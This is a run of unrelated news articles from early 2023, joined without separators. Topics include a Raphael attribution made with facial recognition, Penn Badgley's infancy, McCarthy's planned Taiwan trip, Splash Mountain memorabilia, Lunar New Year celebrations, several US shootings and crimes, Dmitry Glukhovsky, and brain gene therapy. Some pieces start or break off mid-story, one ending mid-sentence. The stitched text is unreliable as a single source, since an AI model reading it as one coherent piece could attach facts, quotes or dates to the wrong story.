On May 20, a countywide Purple Heart Trail proclamation will be made, and National Purple Heart Day will be recognized in Ottawa County and around the nation on Aug. 7.

Contact correspondent Sheri Trusty at sheritrusty4@gmail.com.

This article originally appeared on Fremont News-Messenger: Ottawa County Museum joins Purple Heart Trail
A painting with mysterious origins is likely a Raphael masterpiece, researchers from the U.K. said after using facial recognition technology and artificial intelligence (AI) to analyze the portrait.

The Renaissance-era painting, named the de Brecy Tondo, has been studied extensively for more than 40 years. Researchers from the University of Nottingham and University of Bradford used an artificial intelligence facial recognition system developed by Hassan Ugail, a professor of visual computing at Bradford, to determine its likely creator.

Instead of DNA, the system uses DNN  a deep neural network  which identifies patterns in images and videos. The system is more accurate than the human eye and was able to analyze the painting's similarities to another, created by Raphael.

The Italian Renaissance painter is considered "more versatile than Michelangelo and more prolific than their older contemporary Leonardo," according to the National Gallery in London, which houses some of his paintings.

The de Brecy Tondo painting and Raphae's Sistine Madonna side-by-side. / Credit: University of Nottingham & University of Bradford

Ugail said the facial recognition system is assisted by artificial intelligence "whereby millions of facial images are fed to a machine learning algorithm which learns 'deep' features and characteristics of the human face."

"These features may be the physical attributes (e.g., shapes, colours and textures of the face) but also include a lot (potentially thousands of features) which cannot be described visually or physically," Ugail said in an email to CBS News. "In this sense, the analysis carried out through these facial recognition systems can compare two facial images in much greater detail and can outperform humans."

The technology found the de Brecy Tondo, which features a woman and baby, closely matched Raphael's Sistine Madonna, which also features a very similar woman and baby.

A woman observes Raffael's 'Sistine Madonna' from 1513 at the Gobelin hall of the Gemaeldegalerie Alte Meister (Old Masters Picture Gallery) in Dresden, Germany, 27 March 2013. / Credit: Matthias Hiekel/picture alliance via Getty Images

The so-called Madonnas in each painting had a 97% similarity, while the children in each had an 86% similarity  a similarity above 75% is considered identical, according to the study.

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Ugail said this technology is being used for recognizing and authenticating identities in criminal investigations and routine identity verification. It can also be used in medical image analysis to help diagnose diseases like cancer.

The painting was a part of the de Brecy Trust, an art collection that belonged to the late George Lester Winward. He gave his collection to the trust so it was available for art scholars and researchers to study.

The trust had previously analyzed the de Brecy Tondo and found its pigments were that of pre-17th century works, and it was not a Victorian copy, according to Howell Edwards, a professor and honorary scientific adviser to the trust.

The School of Athens, 1508-1511, by Raphael (1483-1520), fresco, Room of the Segnatura, Apostolic Palace, Vatican City. / Credit: DEA / V. PIROZZI

Analysis over four years by late Raphael specialist, Dr. Murdoch Lothian, found that the Tondo was likely a Raphael, Timothy Benoy, honorary secretary of the trust, told CBS News via email.

"The view of other particular art historians consulted, including certain of those with Italian Renaissance and Raphael expertise, has been that the Tondo is a 'possible' Raphael.'"

Dr. Christopher Brooke, honorary research fellow at the University of Nottingham, told CBS News via email the study is "a big step forward in using machine learning in art history."

"It's a very sound study with positive results," said Brooke, a co-author of the study and an expert historian of ecclesiastical art and remote sensing techniques.

Raphael, whose full name was Raffaello Santi, was named architect of St. Peter's Basilica in the Vatican, until he died. Several architects took over the project, with the most notable being Michelangelo. One of Raphael's most famous paintings is The School of Athens.

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Penn Badgley has opened up about the many health scares he experienced as a premature baby.

The You star recently appeared on an episode of the HypocondriActor podcast with Will and Grace actor Sean Hayes and Dr Priyanka Wali. Badgley, 36, revealed that he was born two months premature and, as a result, his mother needed to resuscitate him multiple times a day during the first year of his life.

The first couple of weeks I was in a NICU [neonatal intensive care unit] because my heart and lungs would stop repeatedly throughout the day, he explained on the podcast.

The Gossip Girl alum said that doctors had to regularly revive him just weeks after his birth. His mother had to also learn how to resuscitate the newborn once he left the hospital.

[She had to do it] multiple times a day because my heart and lungs would stop, and I was on a monitor that would just beep very loudly, Badgley shared. The first time she had to do it was on the way home from the hospital when I was released from the NICU.

Badgley added that his cousins would tell him stories about how they would revive him during this time by simply touching him.

I would be in the back seat, you know, in a car seat hooked up to the monitor, and it would go off, and all anybody had to do is just touch me, he said. Just human touch would wake me up.

Badgley, whose wife Domino Kirke is a doula, added that hes learned a lot about prenatal and postpartum conditions because of his wifes career. While the father of one said his health condition faded away, he still believes that his childhood health scares have impacted his perspective on death.

The effect that its had on me at least in a sort of emotional way is that Im extremely sensitive to touch, Ive just noticed that in my life, Badgley said. Anytime anybody touches me, Im just very aware of it.

Death doesnt scare me, I feel like that sounds weird to say, he continued. Theres some aspect to that where I feel like theres a gravity to the earliest experiences I had...like, I can have a mode that is very solitary and meditative.

Looking at his two-year-old son James, Badgley said that his childhood health scares may have had a bigger impact on him than he previously thought. If my son, who I now know so well, was the first year of his life flatlining multiple times a day, the idea that that wouldnt influence him is ridiculous, he shared. Thinking of my toddler now, Im realising it actually did affect me. It affected my sense of what life is like, what life is not like.

Penn Badgley and his wife Domino Kirke have been together since 2014, and were married at a New York City courthouse three years later. In 2020, the couple welcomed their first child together after Kirke had suffered from two miscarriages. The doula also shares 13-year-old son Cassius Riley with former partner and musician Morgan OKane.
[Source]

Before you read:

The Pentagon is reportedly preparing for House Speaker Kevin McCarthy to visit Taiwan this spring despite threats from China.

As House Republicans take an active role addressing Beijing, which sees Taiwan as a breakaway province belonging to China, McCarthy is expected to uphold his midterm elections promise to visit the democratic island less than a year after former House Speaker Nancy Pelosis own impactful visit. The Pentagon is working out the security logistics for McCarthy's trip, according to a report from Punchbowl News.

In August 2022, Pelosi visited Taiwan during her Asia trip, prompting a series of congressional delegations to follow in her footsteps. Her controversial actions also prompted a series of violent repercussions in the form of Chinese military drills around the island.

More from NextShark: More Virginia high schools delayed giving merit awards in time for college admission deadlines: report

In response to the upcoming Taiwan visit, U.S. government officials have shown their support for the decision, according to Politico.

I think every member of Congress should make the visit [to Taiwan], Senator Todd Young (R-IN) stated.

If he follows through, McCarthys visit is expected to further provoke tensions between the U.S. and Beijing as government officials pressure the Biden administration to take a stronger stance regarding China.

More from NextShark: Martin Luther King III Endorses Andrew Yang for NYC Mayor

Although the Biden administration was initially opposed to Pelosis visit to Taiwan, the administration has shown further involvement when preparing for the current speakers upcoming travels.

Previously, the administration displayed its support for the islands defense needs by sending two U.S. Navy cruisers and a $1.1 billion arms package to the country.

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President Biden  separate from the White Houses official statement  also confirmed his support for Taiwan in an interview with "60 Minutes."

More from NextShark: Japanese City Now Uses Robot 'Monster Wolves' to Keep Bears Away

Neither the Pentagon nor McCarthys office have confirmed or denied reports of his expected visit.

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The Splash Mountain ride at Walt Disney World officially closed for good on Jan. 23 and it will get an upgrade with a new theme. After the ride's final run, sellers on eBay started to list what they claimed to be water from the log-flume ride.

One seller listed a small 4 oz. jar of water  claiming it was taken from the ride on its last day  for $20.00. Another 10 oz. batch is going for $27.00, and a baggie of water is listed with a starting bid of $25.

"I have many bottles that my friends and I got on the last day of splash mountain," the seller of the baggie wrote, claiming the water was collected on Jan. 23. "It's very nostalgic to have a part of Disney from your younger days. I will ship them in the pictured sealed containers."

Other sellers have seized the opportunity to sell Splash Mountain paraphernalia, including plastic bags with Splash Mountain branding, and an old, invalid "fast pass" ticket to the ride, going for $1,300.

A jar of supposed Splash Mountain water, going for $20.00 on eBay. / Credit: eBay seller pudding1328

Another seller listed a baggie of water for a whopping $25,000  but admitted the water came from a sink, not the ride. "This is obviously just for fun and to make fun of the people who are really selling water from a ride," the seller wrote in the eBay description.

"I'm a Disney fan but come one people has the world gotten so doomed that people would buy water from a ride. [Shaking my head] if you really want this water buy it. I'll even do free shipping!"

Disney announced in 2020 it would be reimagining the theme of the ride, after a Change.org petition urged the park to update the ride, which was based on the 1946 film, "Song of the South." The ride, like the movie, included racist tropes and stereotypes.

The film, which included racist portrayals of former slaves after the Civil War, was removed from Disney+ in 2019.

The creator of the petition proposed that the ride's theme be changed to "The Princess and the Frog," a 2009 animated Disney movie that featured the company's first Black princess, Tiana, voiced by Anika Noni Rose. The film takes place in New Orleans and is a version of the German folklore story "The Frog Prince" by the Brothers Grimm.

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"Splash Mountain is located in Critter Country/Frontierland in the parks, an area very close to New Orleans Square in Disneyland," the petition reads. "It would be fairly easy to transition the ride into the bayou of New Orleans considering the location of the ride in each park."

The concept for the reimagined Splash Mountain is

With 21,319 signatures, the petition was victorious  not only was the old Splash Mountain shut down, it will be reimagined as a "The Princess and the Frog" ride. Disney announced the ride will be updated in both Orlando's Disney World and Anaheim, California's Disneyland, though the company has not yet closed the West Coast version.

"We pick up this story after the final kiss, and join Princess Tiana and Louis on a musical adventure  featuring some of the powerful music from the film  as they prepare for their first-ever Mardi Gras performance," the company said in a news release in 2020.

"Tiana is a modern, courageous, and empowered woman, who pursues her dreams and never loses sight of what's really important. It's a great story with a strong lead character, set against the backdrop of New Orleans and the Louisiana bayou," the company said.

Disney did not mention the petition in their media release, but said the "retheming of Splash Mountain is of particular importance today."

"The new concept is inclusive  one that all of our guests can connect with and be inspired by, and it speaks to the diversity of the millions of people who visit our parks each year," the company said.

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People participate in a parade in celebration of the Chinese New Year in Vancouver, Canada, Jan. 22, 2023. [Photo/Xinhua]





Landmarks around the globe have been lit up in the auspicious color red to celebrate the Lunar New Year, or Spring Festival, that fell on Sunday this year.



The Lunar New Year for 2023 marks the Year of the Rabbit -- a gentle and beloved animal that signifies vitality, wittiness, cautiousness and good luck in the Chinese zodiac.

Outside China, many people are also celebrating the most important Chinese festival alongside local Chinese communities, enjoying a taste of Chinese culture while strengthening their friendship with others from different cultural backgrounds.

Landmarks glow in red

From the Empire State Building in New York, Tokyo Tower in Japan's capital, Sydney Opera House and many other famous landmarks to Chinatowns around the world, numerous buildings and neighborhoods have been lit up in red or decorated with Chinese elements such as red lanterns, creating a cheerful festival ambience.

A number of landmarks projected Spring Festival wishes in the Chinese language when turning red. On Saturday, Nelson's Column at London's Trafalgar Square was illuminated in Mandarin to wish people a Happy Chinese New Year. The Chinese character "fu," which means good fortune, was projected onto the Mole Antonelliana, the most recognizable building in Turin, Italy.

"We are so pleased to extend our heartfelt New Year's wishes to the entire Chinese community here in the United States, around the world and especially in China," said Tony Malkin, CEO, president and chairman of Empire State Realty Trust.

Apart from the lighting, some popular attractions and main streets in Sydney are seeing rabbit-shaped artworks designed by local illustrators in celebration of the festival.

Between mid-January and mid-February, a Chinatown on Yaowarat Road in Thailand's Bangkok is decorated with lights, featuring a 45-meter-long light tunnel and lanterns of various styles.

Also in a festive mood is the north Italian city of Milan. On Saturday, a Chinese New Year animation was played on a large screen in Piazza San Babila, a busy area in the city center. Along a bustling street there decorated with red lanterns and Chinese dragons, many locals came to experience Chinese culture and take photos.

To mark the Year of the Rabbit, Jungfrau, a popular ski region in Switzerland, also put up Chinese lanterns and custom-made illuminations at its Grindelwald Terminal to create a festive atmosphere.

Diverse celebrations



Various entertaining and cultural events such as concerts and food events have been organized in Cambodia, Ethiopia, New Zealand, Spain, the United States and others. For many countries, dragon parades, fireworks and issuing zodiac stamps have become symbolic activities during the Spring Festival.

These days, Australia, Fiji, France and Hungary have issued commemorative stamps featuring bunny elements in collaboration with Chinese artists.

On Jan. 14, the French postal service La Poste held a ceremony in Paris to launch two rabbit-themed stamps. At the event, a French man who didn't offer his name said, "I've collected stamps for more than 60 years. Every year, I would come for the stamps dedicated to the Chinese New Year."

Multiple tourist attractions hosted Chinese New Year celebrations during the holiday, ushering in a joyous tribute to Chinese and Asian culture.

At Disney California Adventure Park, a series of celebrations kicked off Friday. The same day, the Empire State Building unveiled its Fifth Avenue Window Exhibition, which features an installation of artistic imagery and representations of rabbits.

As the Spring Festival brings nostalgic joy for overseas Chinese, Chinese diplomatic missions, businesses and cultural institutions based overseas have held receptions and galas to observe the New Year with their local colleagues.

Additionally, Chinese embassies around the globe have distributed "Spring Festival kits," which contain traditional Spring Festival goods and local specialties.

Having attended a celebration at the Chinese Embassy in Iran earlier this month, Wang Danyu, a teacher at the Confucius Institute of Tehran University, said, "This event conveyed the warmth from my motherland."

Praising a festive event co-hosted by the Chinese Mission to the African Union and the UN Economic Commission for Africa in Ethiopia's capital Addis Ababa, local resident Rakeb Million said, "What amazed me the most is their sense of togetherness and closeness. They (Chinese people) look very beautiful as they celebrate the new year together."

New Year wishes



Many overseas Chinese have expressed their best wishes to the motherland.

"We overseas Chinese are willing to serve as a bridge between the motherland and the world," Lu Gang, executive vice chairman of the Russian Far East Chinese Chamber of Commerce and Industry, told Xinhua. "On behalf of the overseas Chinese in the Russian Far East, I would like to wish our great motherland prosperity and our people happiness!"

"We are very proud of the development and progress of our motherland," said Deng Zhuting, president of London Chinatown Chinese Association. "We will continue to tell China's story well on the world stage and promote steady and sustained China-UK friendly exchanges."

Besides, global leaders have also delivered their wishes to those who observe the Chinese New Year.

In a video message released on Wednesday, UN Secretary-General Antonio Guterres said, "I am pleased to send my warmest greetings as we enter the Year of the Rabbit. The rabbit is a symbol of energy and dexterity. These are qualities we need as humanity faces hardship and tests."

"I thank China for your strong partnership with the United Nations and support for international cooperation. By working together as a global community, we can advance peace, sustainable development and a better world for all," he said.

"On behalf of the government and the people of Tanzania, I extend my warmest wishes to all Chinese as you celebrate your Chinese New Year," Tanzanian President Samia Suluhu Hassan tweeted.

"It is with distinct pleasure and sincere feelings of friendship that I join your celebrations today on the joyous occasion of the Chinese Lunar New Year, the Year of the Rabbit, a symbol of good fortune, great ambition, bright future, wealth and prosperity," Cypriot President Nicos Anastasiades said Friday via video.

Lucie Milebou Aubusson, president of the Gabonese Senate, said, "I am honored to address the brotherly Chinese people as the president of the Senate and on behalf of the upper house of parliament and send our sincere wishes of health, happiness and prosperity."

Former Japanese Prime Minister Yasuo Fukuda extended his wishes that everyone could "jump high and far" in the Year of the Rabbit. "I wish everyone good health, and wish peace and prosperity for China, Japan, Asia and the world at large."
STORY: Poland also expected the European Union to foot the bill for the tanks, saying it would be a test of goodwill from Brussels, he said.

A German defence source told Reuters that Poland had submitted a request to let it supply up to 14 Leopard 2 A4 tanks to Ukraine.

A spokesperson for the German government said it would handle proceedings with "the urgency they deserve".
Investigators say human remains found behind a Georgia Dunkin store are that of a man who was reported missing in 2019.

The remains were found behind the store along Veterans Parkway in Columbus and were turned over to the Muscogee County Coroners Office, WTVM-TV reported. The office then sent them to the Georgia Bureau of Investigation for further investigation.

Authorities have found human remains and identified them as a missing Columbus man. https://t.co/0MpyXy7EUq  WTVM News Leader 9 (@WTVM) January 24, 2023

Officials did make a positive ID of the remains, saying they were that of Matthew Turner, 41, but the coroners office said the manner of death has been deemed undetermined, the TV station said.

Turner was first reported missing in January 2019.

TRENDING STORIES:

IN OTHER NEWS:
The Milwaukee Police Department is investigating seven armed robberies on the city's east side last week, all believed to be connected to the same suspects, according to a news release from University of Wisconsin-Milwaukee police.

The string of robberies occurred the evening of Thursday, Jan. 19, early Friday, Jan. 20, and the evening of Saturday, Jan. 21, according to UWM police.

Three of the robberies occurred on the Upper East Side and Shorewood near UWM's campus, but none of the robberies occurred on campus. No one was injured in the robberies.

Police say the suspects are driving a white 2020 Kia Sportage with Minnesota plates, but have previously used both a white and silver sedan.

"UWM Police are adjusting patrols around campus and in surrounding neighborhoods and working closely with Milwaukee Police in response to these incidents," UWM police said in a statement.

"Staff, students, and faculty are urged to download the Rave Guardian App to receive UWM Emergency Alerts and access other safety features. The university works closely on a regular basis with Milwaukee Police and the city of Milwaukees Department of Neighborhood Services to maintain a safe and vibrant community for students, faculty, staff, neighbors, and visitors."

UWM police are asking the public to call 911 if a suspected vehicle or a robbery is observed.

Contact Drake Bentley at (414) 391-5647 or DBentley1@gannett.com. Follow him on Twitter at @DrakeBentleyMJS.

Our subscribers make this reporting possible. Please consider supporting local journalism by subscribing to the Journal Sentinel at jsonline.com/deal.

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This article originally appeared on Milwaukee Journal Sentinel: Police investigating armed robberies on Milwaukee's east side
Jan. 23JOHNSTOWN, Pa.  A Johnstown man was jailed Saturday, accused of firing shots near a building at Solomon Homes. The man had threatened to kill a woman and then kill himself, Johnstown police allege.

Police charged Eric Prosser, 30, of the 1200 block of Solomon Street, with aggravated assault, illegally possessing a firearm, terroristic threats and drug possession.

According to a complaint affidavit, police were dispatched to the 1200 block of Solomon Street at 4:57 p.m. Friday for a report of shots fired.

A woman said she was hiding in a neighbor's apartment after Prosser threatened to kill her and then shoot himself.

Prosser allegedly fired shots into a parked vehicle after making repeated phone calls stating that he was "bringing the heat."

Police recovered several shell casings in the roadway and found broken glass from the parked car.

A neighbor reported seeing a gray Chevrolet Impala speeding away from the scene. Police later found the Impala parked outside Building 14 and recovered more shell casings that matched those found at the shooting scene, the affidavit said.

Police said they obtained a search warrant for one of the apartments. They seized a Glock 9mm with a "switch" that turns the firearm into a fully automatic handgun.

Police also found a plastic bag with vials filled with a white substance.

Police said Prosser is a convicted felon and not legally permitted to carry a firearm.

Prosser was arraigned by on-call District Judge Michael Zungali, of Hastings, and sent to Cambria County Prison after he was denied bail.
STORY: An 11th victim died on Monday from injuries suffered in a weekend shooting rampage at a dance hall near Los Angeles.

Investigators are still searching for a motive for Saturday's attack which happened during Lunar New Year celebrations in Monterey Park.

They have identified 72-year-old Huu Can Tran as the sole suspect.

He killed himself when approached by police about 12 hours after the attack.

On Monday, police officers searched his home in a gated senior-living community in the town of Hemet.

County Sheriff Robert Lunar said hundreds of rounds of ammunition had been seized in the raid.

"We recovered 308 caliber rifle, numerous electronic devices such as cellphones, computers, etc. Items that lead us to believe the suspect was manufacturing homemade firearm suppressors."

He added that Tran had a limited past criminal history, including a 1990 arrest for unlawful possession of a firearm, and that police did not have any specific information about the motive:

The question is, there's information out there that the suspect may have committed these crimes, and I'm paraphrasing, due to jealousy or some relationship issues. We're hearing those things, too, but have not confirmed any of that information. It's part of what our investigators are diligently looking into.

Hemet police said in a statement released on Monday that Tran had come to the department twice in early January alleging "past fraud, theft and poisoning allegations involving his family" dating back 10 to 20 years.

According to the police, Tran had said he would return with documentation regarding his claims but never did.

The attack, which was one of California's bloodiest outbursts of mass gun violence, has sent shockwaves through the small retirement community he lived in.

Most of our residents are just going to be surprised. Like I say, we didn't expect nothing of this guy. And it's really early in the morning and the chatter now is on Facebook. You know, that's what that will be, because they're going to I knew him. You know, that's how it goes. You know, you're surprised. You know, we've had, we've had everybody live in this park. We've had mayors, ex mayors and so forth, you know."

One resident described him as a 'meek' and not very outgoing man who liked to dance.

He is said to have been a regular at the dance studio where the massacre happened, giving informal lessons and even meeting his ex-wife at the venue.
Calhoun police are searching for a man spotted prowling around a home in the middle of the night.

[DOWNLOAD: Free WSB-TV News app for alerts as news breaks]

Police released an image of the man, who they said was caught on surveillance camera around 1 a.m. Sunday night.

The man appears to have curly, light-colored hair and a missing tooth.

TRENDING STORIES:

Its unclear if police intend to charge the man with a crime or what his intentions were.

[SIGN UP: WSB-TV Daily Headlines Newsletter]

Anyone with information is asked to call the Calhoun Police Department at 706-629-1234.




A suspect was found dead Tuesday hours after three people were killed in a "random" shooting in Yakima, Washington, authorities said.

The triple homicide happened about 3:30 a.m. at a Circle K market, Yakima Police Chief Matt Murray said.

There was no apparent conflict between the parties," he said. "The male just walked in and started shooting."

Late Tuesday afternoon, Murray announced that a suspect in the shooting had been discovered near a Target store.

Someone phoned 911 at 2:16 p.m. to report a suspect in the shooting was possibly in the area of the retailer, Murray said. Responding officers heard gunfire and discovered an injured man, he said.

He was later declared dead at the scene, Murray said.

"The suspect apparently shot and killed himself, and that was prior to officers' arrival," Murray said.

Police earlier identified the suspect as Jarid Haddock, 21, of Yakima County.

While Murray said positive identification will take some time, he added, "I can say with pretty good confidence that we believe that is the person involved in those incidents today."

Murray said the suspect, who did not disguise himself, first tried to enter a convenience store where the doors were locked and then stepped inside the Circle K, where two customers were, and began shooting. The gunman also shot someone outside the convenience store, Murray said.

The gunman then went across the street to return to the first gas station and shot multiple times into his own vehicle to get inside because he appeared to have locked his keys in it, he said.

Police initially believed the shooting may have involved a fourth victim but later determined no one was struck when the man opened fire to gain access to the car, Murray said.

The suspect was last seen driving a gray or silver Chrysler 200 eastbound on State Route 24 toward Moxee, Murray said.

This is a dangerous person. And its random, so there is a danger to the community, Murray said. We dont have a motive. We dont know why.

Story continues

On Monday afternoon he acknowledged the suspect had been at large much of the day.

"He was out in the community," Murray said at a news conference at police headquarters. "The threat was never really gone."

He credited a woman near the Target, whose phone the suspect borrowed to call his mother, for helping police find him. She relayed information to authorities, Murray said, including that the man appeared to have confessed to the attack during the call.

The woman also said he had threatened to commit suicide, Murray said.

Investigators were looking at security video to determine what happened.

We do have video from security at the store, and were collecting other video," Murray said. "There were also eyewitnesses who have given us information.

He said that the motive might not ever be known but that investigators so far believe the homicides in and outside the convenience store were random.

"Literally as he opened the door, he started shooting at the people," Murray said. "He walked out, saw somebody else in a car and shot them."

When the suspect was found, he had a gun and "a large amount" of ammunition, he said.

The country has been plagued by a spate of gun violence. On Saturday night, a gunman fatally shot 11 people and wounded at least nine more in Monterey Park, California.

Ten hours later, at least 12 people were wounded after gunfire erupted in a Louisiana nightclub, according to authorities, who called it a targeted attack.

Two students were fatally shot Monday afternoon at a charter school in Des Moines, Iowa.

In Northern California on Monday, at least seven people were killed and one person was seriously injured in a shooting in Half Moon Bay, a coastal city of roughly 11,000 about 30 miles south of San Francisco.

And one person was killed and seven others were injured in a shooting Monday evening in Oakland, California.

The U.S. has had at least 39 mass shootings in the first 24 days of 2023, according to the Gun Violence Archive, a nonprofit group that defines a mass shooting as a single incident in which at least four people  other than the shooter  are shot.

This article was originally published on NBCNews.com
(Reuters) - Best-selling novelist Dmitry Glukhovsky says sales of his books depicting life in the Moscow Metro after a nuclear apocalypse have been booming since Russia put him on a "wanted" list for opposing the war in Ukraine and he was forced to flee abroad.

Glukhovsky, 43, is known mainly for his dystopian novel "Metro 2033" and its sequels, along with their spin-off video games, about how Muscovites survive in the city's famed metro system - "the world's biggest nuclear shelter" - after a war.

With President Vladimir Putin and other top Russian politicians regularly warning the West of nuclear war over its support for Ukraine, Glukhovsky said it was hardly surprising that Russians were trying to imagine life after such a disaster.

"It's getting us much closer (to midnight) because during Soviet times, during the times of the Cold War, nobody dared to really invoke that (possibility of Armageddon)...," he told Reuters in an interview from an undisclosed location.

"... Never a diplomat, let alone the head of state, would threaten another superpower with using nukes against his capital. So that definitely gets us way closer to that possibility," he said, speaking in English.

Atomic scientists on Tuesday reset the "Doomsday Clock" - a symbolic timepiece - based on their latest assessment of how close they believe humanity is to annihilation due to existential threats such as nuclear war. The "time" is now 90 seconds to midnight, they said, 10 seconds closer than it has been for the past three years.

Glukhovsky deplored what he called the "routinisation" of the nuclear threats by Russia's leaders but said the Ukraine war was unlikely to trigger a global nuclear catastrophe.

"... the Russian regime is not suicidal. You know, they're not religious or political fanatics. They are very pragmatic. I would say they're mainly motivated by such things as greed and self-esteem. And I don't see (how) greed and self-esteem can bring you to begin a nuclear holocaust," he said.

Story continues

'FOREIGN AGENT'

Glukhovsky, who faces up to 15 years in jail if he returns home due to his anti-war stance, said his books must now be sold in Russia with a label bearing the disclaimer "This was written by a foreign agent". Under-18s are barred from buying them.

"But "Metro 2033" was the number one bestseller within my publisher. And my publisher was the biggest publisher in Russia. So there is some kind of schizophrenia where, on the one hand, they are persecuting me and, on the other, the books are still available in the bookstores and they are bestsellers," he said.

Glukhovsky, a former journalist who also wrote the screenplay for an award-winning film version of his novel "Text", said he got the inspiration for his subway novels travelling the Moscow Metro as a child during the Cold War and discovering it was built some 40 to 100 metres below ground.

"I really started to imagine what it was going to be like if we are hit by missiles and then we have to live in the subway as if it was a modern-day Noah's Ark, you know, and we would not be able to go outside of the metro, of the subway, ever," he said.

The nuclear war depicted in "Metro 2033" occurs in 2013, he noted, adding grimly: "So apparently I was wrong (by) a decade."

(Reporting by Reuters TV; Writing by Gareth Jones; Editing by Alexandra Hudson)
Lynnette Hardaway, left, and Rochelle Richardson. Willy Sanjuan/Invision/AP, File

Diamond from the conservative commentary duo Diamond and Silk died earlier this month.

At a memorial service on Saturday, her sister suggested it was somehow related to the COVID-19 vaccine.

An autopsy reviewed by the AP found that she died of heart disease due to chronic high blood pressure.

Lynette "Diamond" Hardaway, one-half of the conservative political commentary duo Diamond and Silk, died of heart disease due to chronic high blood pressure, an autopsy reviewed by The Associated Press said.

The cause of Hardaway's death was not immediately clear after it was announced on January 8, and her sister Rochelle "Silk" Richardson denied rumors that she had died from COVID-19 complications, Insider previously reported.

"The World just lost a True Angel and Warrior Patriot for Freedom, Love, and Humanity! Diamond blazed a trail, founded on her passion and love for the entire race of humanity. In this time of grief, please respect the privacy of Diamond's family but remember and celebrate the gift that she gave us all! Memorial Ceremony to be announced soon," a Facebook post at the time read.

On Saturday, during a live-streamed memorial service for her sister, Richardson suggested that the 51-year-old social media personality's death was linked to the COVID-19 vaccine. It's unclear if Hardaway had taken the COVID-19 vaccine but on Saturday Richardson suggested she may have been poisoned by it and floated the false notion that vaccinated people somehow pose a risk to the unvaccinated.

"Instead of asking if Americans are vaxxed or unvaxxed, the real question to ask is: Are Americans being poisoned?" Richardson said.

Former President Donald Trump, who has been vaccinated, also attended the memorial service.

Read the original article on Insider
When Rylae-Ann Poulin was a year old, she didnt crawl or babble like other kids her age. A rare genetic disorder kept her from even lifting her head. Her parents took turns holding her upright at night just so she could breathe comfortably and sleep.

Then, months later, doctors delivered gene therapy directly to her brain.

Now the 4-year-old is walking, running, swimming, reading and riding horses  just doing so many amazing things that doctors once said were impossible, said her mother, Judy Wei.

Rylae-Ann, who lives with her family in Bangkok, was among the first to benefit from a new way of delivering gene therapy  attacking diseases inside the brain  that experts believe holds great promise for treating a host of brain disorders.

Her treatment recently became the first brain-delivered gene therapy after its approval in Europe and the United Kingdom for AADC deficiency, a disorder that interferes with the way cells in the nervous system communicate. New Jersey drugmaker PTC Therapeutics plans to seek U.S. approval this year.

Meanwhile, about 30 U.S. studies testing gene therapy to the brain for various disorders are ongoing, according to the National Institutes of Health. One, led by Dr. Krystof Bankiewicz at Ohio State University, also targets AADC deficiency. Others test treatments for disorders such as Alzheimers, Parkinsons and Huntingtons.

Challenges remain, especially with diseases caused by more than a single gene. But scientists say the evidence supporting this approach is mounting  opening a new frontier in the fight against disorders afflicting our most complex and mysterious organ.

Theres a lot of exciting times ahead of us, said Bankiewicz, a neurosurgeon. Were seeing some breakthroughs.

___

The most dramatic of those breakthroughs involve Rylae-Anns disease, which is caused by mutations in a gene needed for an enzyme that helps make neurotransmitters like dopamine and serotonin, the bodys chemical messengers. The one-time treatment delivers a working version of the gene.

Story continues

At around 3 months old, Rylae-Ann began having spells her parents thought were seizures  her eyes would roll back and her muscles would tense. Fluid sometimes got into her lungs after feedings, sending her to the emergency room. Doctors thought she might have epilepsy or cerebral palsy.

Around that time, Wei's brother sent her a Facebook post about a child in Taiwan with AADC deficiency. The extremely rare disorder afflicts about 135 children worldwide, many in that country. Wei, who was born in Taiwan, and her husband, Richard Poulin III, sought out a doctor there who correctly diagnosed Rylae-Ann. They learned she could qualify for a gene therapy clinical trial in Taiwan.

Though they were nervous about the prospect of brain surgery, they realized she likely wouldnt live past 4 years old without it.

Rylae-Ann had the treatment at 18 months old on November 13, 2019  which her parents have dubbed her reborn day. Doctors delivered it during minimally invasive surgery, with a thin tube through a hole in the skull. A harmless virus carried in a functioning version of the gene.

It gets put into the brain cells and then the brain cells make the (neurotransmitter) dopamine, said Stuart Peltz, CEO of PTC Therapeutics.

Company officials said all patients in their clinical trials showed motor and cognitive improvements. Some of them, Peltz said, could eventually stand and walk, and continue getting better over time.

Bankiewicz said all 40 or so patients in his teams NIH-funded study also saw significant improvements. His surgical approach is more involved and delivers the treatment to a different part of the brain. It targets relevant circuits in the brain, Bankiewicz said, like planting seeds that cause ivy to sprout and spread.

Its really amazing work, said Jill Morris, a program director with the National Institute of Neurological Disorders and Stroke, which helped pay for the research. And he has seen a lot of consistency between patients.

One is 8-year-old Rian Rodriguez-Pena, who lives with her family near Toronto. Rian got gene therapy in 2019, shortly before her 5th birthday. Two months later, she held her head up for the first time. She soon started using her hands and reaching for hugs. Seven months after surgery, she sat up on her own.

When the world was crumbling around us with COVID, we were at our house celebrating like it was the biggest party of our lives because Rian was just crushing so many milestones that were impossible for so long, said her mom, Shillann Rodriguez-Pena. Its a completely different life now.

___

Scientists say there are challenges to overcome before this approach becomes widespread for more common brain diseases.

For example, the timing of treatment is an issue. Generally, earlier in life is better because diseases can cause a cascade of problems over the years. Also, disorders with more complex causes  like Alzheimer's  are tougher to treat with gene therapy.

When youre correcting one gene, you know exactly where the target is, said Morris.

Ryan Gilbert, a biomedical engineer at New York's Rensselaer Polytechnic Institute, said there can also be issues with the gene-carrying virus, which can potentially insert genetic information in an indiscriminate way. Gilbert and other researchers are working on other delivery methods, such as messenger RNA  the technology used in many COVID-19 vaccines  to deliver a genetic payload to the nucleus of cells.

Scientists are also exploring ways to deliver gene therapy to the brain without the dangers of brain surgery. But that requires getting around the blood-brain barrier, an inherent roadblock designed to keep viruses and other germs that may be circulating in the bloodstream out of the brain.

A more practical hurdle is cost. The price of gene therapies, borne mostly by insurers and governments, can run into the millions. The one-time PTC therapy, called Upstaza, costs more than $3 million in Europe, for example.

But drugmakers say they are committed to ensuring people get the treatments they need. And researchers are confident they can overcome the remaining scientific obstacles to this approach.

So I would say gene therapy can be leveraged for many sorts of brain diseases and disorders, Gilbert said. "In the future, youre going to see more technology doing these kinds of things.

The families of Rylae-Ann and Rian said they hope other families dealing with devastating genetic diseases will someday get to see the transformations theyve seen. Both girls are continuing to improve. Rian is playing, eating all sorts of foods, learning to walk and working on language. Rylae-Ann is in preschool, has started a ballet class, and is reading at a kindergarten level.

When her dad picks her up, she runs to me ... just gives me a hug and says, I love you, Daddy. he said. Its like its a normal day, and thats all we ever wanted as parents.

___

The Associated Press Health and Science Department receives support from the Howard Hughes Medical Institutes Science and Educational Media Group. The AP is solely responsible for all content.
